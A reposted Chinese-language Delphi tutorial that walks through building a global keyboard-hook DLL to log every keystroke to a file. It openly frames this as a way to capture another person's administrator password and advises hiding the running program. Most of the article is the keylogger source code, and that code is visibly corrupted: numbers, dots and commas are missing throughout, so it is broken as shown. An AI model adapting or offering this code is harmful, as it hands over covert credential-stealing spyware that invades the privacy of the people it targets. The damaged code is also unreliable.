熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

Delphi編程使用HOOK監視Windows

2013-11-23 17:29:18  來源: Delphi編程 
每個程序都有自己的生存空間在Windows系統中你可以在任何時候讓你的程序執行一些操作還可以觸發消息觸發的消息分為三種一是操作你程序的界面onClickonMouseMove等等另外一個可以使用Windows的消息機制來捕獲一些系統消息但是如果你想在任何時候監控任何程序的情況那可能你就會選擇HOOK來實現了雖然還有其他方法但不得不承認HOOK是一個比較簡單解決問題的途徑
  
  下面就來舉個例子(使用Delphi調試通過)
  
  如果你需要訪問某個人的機器那在運行\\SB之後那個人就會在你機器上敲入他的adminsitrator密碼當然你也可以使用黑客工具來得到他的密碼但是為什麼不自己嘗試一下寫個程序記錄所有的鍵盤操作呢?
  
  首先需要申明一點Hook不同於一般的應用程序需要作為一個全局DLL出現否則無法在你程序不激活的狀態捕獲其他信息的(當然你可以用Windows消息這個問題不在這裡討論)
  
  寫個DLL定義一下函數
  
  function setkeyhook:bool;export;
  function endkeyhook:bool;export;
  procedure keyhookexit;far;
  procedure SetMainHandle(Handle: HWND); export;forward;
  function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
  
  procedure EntryPointProc(Reason: Integer);
  const
  hMapObject: THandle = ;
  begin
  case reason of
  DLL_PROCESS_ATTACH:
  begin
  hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT);
  rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE );
  end;
  DLL_PROCESS_DETACH:
  begin
  try
  UnMapViewOfFile(rHookRec);
  CloseHandle(hMapObject);
  except
  end;
  end;
  end;
  end;
  procedure keyhookexit;far;
  begin
  if hNexthookproc<> then endkeyhook;
  exitproc:=procsaveexit;
  end;
  function endkeyhook:bool;export;
  begin
  if hNexthookproc<> then
  begin
  unhookwindowshookex(hNexthookproc);
  hNexthookproc:=;
  messagebeep();
  end;
  result:=hNexthookproc=;
  MainHandle:=;
  end;
  
  function Setkeyhook:bool;export;
  begin
  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandlerHInstance);
  result:=hNexthookproc<>;
  end;
  function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
  var
  s:Tstringlist;
  begin
  if icode< then
  begin
  result:=CallNextHookEX(hNexthookprocicodewparamlparam);
  exit;
  end;
  if lparam< then
  begin
  exit;
  end;
  s:=TStringlistCreate;
  if FileExists(afilename) then
  sLoadFromFile(afilename);
  
  //將敲打的鍵盤字符保存到文件中
  sAdd(formatdatetime(YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) );
  sSaveToFile(afilename);
  sFree;
  
  result:=;
  end;
  
  Dll的Project文件中定義如下
  
  exports
  setkeyhook index
  endkeyhook index
  SetMainHandle index ;
  
  begin
  hNexthookproc:=;
  procsaveexit:=exitproc;
  DllProc := @EntryPointProc;
  EntryPointProc(DLL_PROCESS_ATTACH);
  end
  
  這樣DLL就定義好了接下來就是畫個界面
  
  function setkeyhook:bool;external keyspydll;
  function endkeyhook:bool;external keyspydll;
  procedure SetMainHandle(Handle: HWND); external keyspydll;
  //開始捕獲鍵盤
  SetMainHandle(handle);
  setkeyhook
  //中止捕獲鍵盤
  endkeyhook
  
  然後吧你程序隱蔽起來啟動捕獲鍵盤在中止捕獲之前所有鍵盤操作都會被記錄到你所定義的filename這個文件名中去這些代碼是臨時寫的僅是為了說明如何寫個hook程序
  
  另外Hook的功能不僅僅是簡單使用這就需要靠大家靈活運用了可以跟很多windows API來配合通過很多技巧作出讓人意想不到的效果
From:http://tw.wingwit.com/Article/program/Delphi/201311/24671.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.